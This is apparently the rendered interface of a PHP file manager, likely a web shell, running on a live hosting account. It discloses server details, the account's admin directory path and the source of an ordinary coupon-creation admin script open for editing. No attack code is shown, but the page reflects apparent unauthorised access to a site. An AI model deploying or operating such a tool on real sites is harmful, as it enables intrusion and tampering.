Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-503.34.1.el9_5.x86_64

PHP Version:

8.2.30

User:

u329947844

Directory:

/home/u329947844/domains/hifi11.in/public_html/vsenthur/admin

Free Space:

10.28 TB

🔧 Quick Actions

✏️ Editing: create_coupon.php

<?php
// create_coupon.php
session_start();
require_once 'config/db_config.php'; // expects $pdo (PDO)

// ---- Auth (admins only) ----
if (!isset($_SESSION['user_id']) || !isset($_SESSION['role']) || $_SESSION['role'] !== 'admin') {
    header("Location: login.php");
    exit();
}

// ---- CSRF token ----
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
$csrf = $_SESSION['csrf_token'];

// ---- Helpers ----
function h(string $v): string { return htmlspecialchars($v, ENT_QUOTES, 'UTF-8'); }

// ---- Fetch branches for dropdown ----
try {
    $stmt = $pdo->query("SELECT branch_id, branch_name FROM branches ORDER BY branch_name");
    $branches = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (PDOException $e) {
    $_SESSION['error'] = "Error fetching branches: " . h($e->getMessage());
    $branches = [];
}

// ---- Form processing ----
$errors = [];
$success = '';
$input = [
    'coupon_code' => '',
    'branch_id' => '',
    'discount_percentage' => '',
    'max_discount' => '',
    'min_order_amount' => '',
    'valid_from' => '',
    'valid_to' => '',
    'usage_limit' => ''
];

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['csrf']) && $_POST['csrf'] === $csrf) {
    // Sanitize and validate inputs
    $input['coupon_code'] = trim($_POST['coupon_code'] ?? '');
    $input['branch_id'] = $_POST['branch_id'] ?? '';
    $input['discount_percentage'] = floatval($_POST['discount_percentage'] ?? 0);
    $input['max_discount'] = floatval($_POST['max_discount'] ?? 0) ?: null;
    $input['min_order_amount'] = floatval($_POST['min_order_amount'] ?? 0);
    $input['valid_from'] = $_POST['valid_from'] ?? '';
    $input['valid_to'] = $_POST['valid_to'] ?? '';
    $input['usage_limit'] = !empty($_POST['usage_limit']) ? intval($_POST['usage_limit']) : null;

// Validation
    if (empty($input['coupon_code'])) {
        $errors[] = 'Coupon code is required.';
    } else {
        $input['coupon_code'] = strtoupper($input['coupon_code']);
        if (!preg_match('/^[A-Z0-9]{4,10}$/', $input['coupon_code'])) {
            $errors[] = 'Coupon code must be 4-10 alphanumeric characters.';
        } else {
            // Check if coupon_code and branch_id combination is unique
            $stmt = $pdo->prepare("SELECT COUNT(*) FROM coupons WHERE coupon_code = ? AND branch_id = ?");
            $stmt->execute([$input['coupon_code'], $input['branch_id']]);
            if ($stmt->fetchColumn() > 0) {
                $errors[] = 'Coupon code already exists for this branch.';
            }
        }
    }

if (empty($input['branch_id']) || !in_array($input['branch_id'], array_column($branches, 'branch_id'))) {
        $errors[] = 'Please select a valid branch.';
    }

if ($input['discount_percentage'] <= 0 || $input['discount_percentage'] > 100) {
        $errors[] = 'Discount percentage must be between 0 and 100.';
    }

if ($input['max_discount'] !== null && $input['max_discount'] < 0) {
        $errors[] = 'Maximum discount cannot be negative.';
    }

if ($input['min_order_amount'] < 0) {
        $errors[] = 'Minimum order amount cannot be negative.';
    }

if (empty($input['valid_from']) || empty($input['valid_to'])) {
        $errors[] = 'Valid from and valid to dates are required.';
    } elseif (strtotime($input['valid_from']) > strtotime($input['valid_to'])) {
        $errors[] = 'Valid to date must be after valid from date.';
    }

if ($input['usage_limit'] !== null && $input['usage_limit'] <= 0) {
        $errors[] = 'Usage limit must be a positive integer or empty.';
    }

// Save to database if no errors
    if (empty($errors)) {
        try {
            $stmt = $pdo->prepare("
                INSERT INTO coupons (coupon_code, branch_id, discount_percentage, max_discount, min_order_amount, valid_from, valid_to, usage_limit, used_count, status, created_at)
                VALUES (?, ?, ?, ?, ?, ?, ?, ?, 0, 'active', NOW())
            ");
            $stmt->execute([
                $input['coupon_code'],
                $input['branch_id'],
                $input['discount_percentage'],
                $input['max_discount'],
                $input['min_order_amount'],
                $input['valid_from'],
                $input['valid_to'],
                $input['usage_limit']
            ]);

$_SESSION['success'] = 'Coupon created successfully!';
            header("Location: coupons.php?created=1");
            exit();
        } catch (PDOException $e) {
            $errors[] = "Error saving coupon: " . h($e->getMessage());
        }
    }
}

<?php include './partials/layouts/layoutTop.php'; ?>

<div class="dashboard-main-body">
    <div class="d-flex flex-wrap align-items-center justify-content-between gap-3 mb-24">
        <h6 class="fw-semibold mb-0">Create Coupon</h6>
        <ul class="d-flex align-items-center gap-2">
            <li class="fw-medium">
                <a href="index.php" class="d-flex align-items-center gap-1 hover-text-primary">
                    <iconify-icon icon="solar:home-smile-angle-outline" class="icon text-lg"></iconify-icon>
                    Dashboard
                </a>
            </li>
            <li>-</li>
            <li class="fw-medium">Create Coupon</li>
        </ul>
    </div>

<?php if (!empty($errors)): ?>
        <div class="alert alert-danger alert-dismissible fade show mb-24" role="alert">
            <?php foreach ($errors as $error): ?>
                <p class="mb-0"><?= h($error); ?></p>
            <?php endforeach; ?>
            <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
        </div>
    <?php endif; ?>
    <?php if (!empty($success)): ?>
        <div class="alert alert-success alert-dismissible fade show mb-24" role="alert">
            <?= h($success); ?>
            <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
        </div>
    <?php endif; ?>

<div class="card basic-data-table">
        <div class="card-header">
            <h5 class="card-title mb-0">Add New Coupon</h5>
        </div>
        <div class="card-body">
            <form method="POST" action="create_coupon.php" class="needs-validation" novalidate>
                <input type="hidden" name="csrf" value="<?= h($csrf); ?>">
                <div class="row g-3">
                    <div class="col-md-6">
                        <label for="coupon_code" class="form-label">Coupon Code</label>
                        <input type="text" class="form-control form-control-sm" id="coupon_code" name="coupon_code" value="<?= h($input['coupon_code']); ?>" required pattern="[A-Z0-9]{4,10}" maxlength="10" placeholder="Enter coupon code (e.g., SAVE10)">
                        <div class="invalid-feedback">Please enter a valid coupon code (4-10 alphanumeric characters).</div>
                    </div>
                    <div class="col-md-6">
                        <label for="branch_id" class="form-label">Branch</label>
                        <select class="form-select form-select-sm" id="branch_id" name="branch_id" required>
                            <option value="" disabled <?= empty($input['branch_id']) ? 'selected' : ''; ?>>Select a branch</option>
                            <?php foreach ($branches as $branch): ?>
                                <option value="<?= h($branch['branch_id']); ?>" <?= $input['branch_id'] == $branch['branch_id'] ? 'selected' : ''; ?>>
                                    <?= h($branch['branch_name']); ?>
                                </option>
                            <?php endforeach; ?>
                        </select>
                        <div class="invalid-feedback">Please select a branch.</div>
                    </div>
                    <div class="col-md-6">
                        <label for="discount_percentage" class="form-label">Discount Percentage</label>
                        <input type="number" class="form-control form-control-sm" id="discount_percentage" name="discount_percentage" value="<?= h($input['discount_percentage']); ?>" required min="0.01" max="100" step="0.01" placeholder="e.g., 10 for 10%">
                        <div class="invalid-feedback">Please enter a valid discount percentage (0-100).</div>
                    </div>
                    <div class="col-md-6">
                        <label for="max_discount" class="form-label">Maximum Discount (Optional)</label>
                        <input type="number" class="form-control form-control-sm" id="max_discount" name="max_discount" value="<?= h($input['max_discount']); ?>" min="0" step="0.01" placeholder="e.g., 500">
                        <div class="invalid-feedback">Please enter a valid maximum discount.</div>
                    </div>
                    <div class="col-md-6">
                        <label for="min_order_amount" class="form-label">Minimum Order Amount</label>
                        <input type="number" class="form-control form-control-sm" id="min_order_amount" name="min_order_amount" value="<?= h($input['min_order_amount']); ?>" min="0" step="0.01" placeholder="e.g., 500">
                        <div class="invalid-feedback">Please enter a valid minimum order amount.</div>
                    </div>
                    <div class="col-md-6">
                        <label for="usage_limit" class="form-label">Usage Limit (Optional)</label>
                        <input type="number" class="form-control form-control-sm" id="usage_limit" name="usage_limit" value="<?= h($input['usage_limit']); ?>" min="1" step="1" placeholder="e.g., 100">
                        <div class="invalid-feedback">Please enter a valid usage limit (positive integer or empty).</div>
                    </div>
                    <div class="col-md-6">
                        <label for="valid_from" class="form-label">Valid From</label>
                        <input type="date" class="form-control form-control-sm" id="valid_from" name="valid_from" value="<?= h($input['valid_from']); ?>" required>
                        <div class="invalid-feedback">Please select a valid from date.</div>
                    </div>
                    <div class="col-md-6">
                        <label for="valid_to" class="form-label">Valid To</label>
                        <input type="date" class="form-control form-control-sm" id="valid_to" name="valid_to" value="<?= h($input['valid_to']); ?>" required>
                        <div class="invalid-feedback">Please select a valid to date.</div>
                    </div>
                    <div class="col-12">
                        <button type="submit" class="btn btn-primary btn-sm">Create Coupon</button>
                        <a href="coupons.php" class="btn btn-outline-secondary btn-sm">Cancel</a>
                    </div>
                </div>
            </form>
        </div>
    </div>
</div>

<?php include './partials/layouts/layoutBottom.php'; ?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: create_coupon.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation